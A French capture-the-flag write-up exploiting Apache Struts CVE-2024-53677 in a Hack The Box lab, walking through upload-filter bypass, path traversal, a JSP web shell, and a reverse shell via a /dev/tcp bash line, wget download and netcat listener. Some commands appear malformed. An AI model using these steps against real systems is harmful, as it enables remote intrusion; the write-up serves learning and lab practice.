
Exploitation d'Apache Struts CVE-2024-53677
CVE-2024-53677 est une vulnérabilité qui impacte Apache Struts de 2.0.0 jusqu'à 6.4.0. ⚠️ Elle a été exploitée dans un laboratoire Hack The Box.
La logique de téléversement de fichiers dans Apache Struts est défaillante. Un attaquant peut manipuler les paramètres de téléversement de fichiers pour permettre un traversement de chemin (path traversal) et, dans certaines circonstances, cela peut mener au téléversement d'un fichier malveillant pouvant être utilisé pour exécuter du code à distance (RCE). 🔗 Référence : Entrée NIST NVD
pom.xml exposé a révélé Apache Struts 6.3.0.1📸 Exposition du pom.xml :

Pour exploiter cette vulnérabilité, nous utilisons BurpSuite et sa fonctionnalité Repeater afin de modifier les paquets avant de les envoyer. Ci-dessous, une requête non modifiée.
Nos problèmes sont que le site bloque les types de fichiers qui ne sont pas [JPG, JPEG, PNG, GIF] et que tout ce qui se trouve dans le répertoire /uploads est non exécutable. Pour contourner ces problèmes, nous allons d'abord ajouter un autre paramètre.
Après l'ajout du paramètre modifié, la réponse du serveur confirme que le fichier a bien été téléversé. Cependant, nous remarquons que le chemin du fichier diffère du répertoire de téléversement habituel.
Ensuite, nous intégrons la charge utile en l'ajoutant directement sous les données de l'image et juste avant nos paramètres injectés. La charge utile du shell peut être obtenue via 🔗 Référence : shell.jsp De plus, un détail crucial est que la requête exige « Upload » avec un U majuscule au lieu de « upload » en minuscules. Cela suit la structure de l'exploit observée dans : 🔗 Référence : exploit.py
Une fois ces modifications en place, nous envoyons la requête. Le serveur répond de manière similaire, confirmant un téléversement réussi et reflétant le chemin de fichier ajusté.
Maintenant, en naviguant vers l'URL suivante, nous pouvons interagir avec notre shell téléversé.
ip/shelll.jsp?action=cmd&cmd=id
À ce stade, nous pouvons établir un reverse shell en utilisant un serveur web hébergé localement. Un moyen simple d'y parvenir est d'utiliser Python : python3 http.server -m 3004
Ensuite, créez un script shell basique (par exemple, shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh
Utilisez wget pour le télécharger wget http://ip_address/filename -O /tmp
Après le téléchargement, accordez les permissions d'exécution chmod +777 /tmp/filename
puis utilisez nc (netcat) pour écouter le reverse shell. nc -lvnp $PORT
Enfin, exécutez ./filename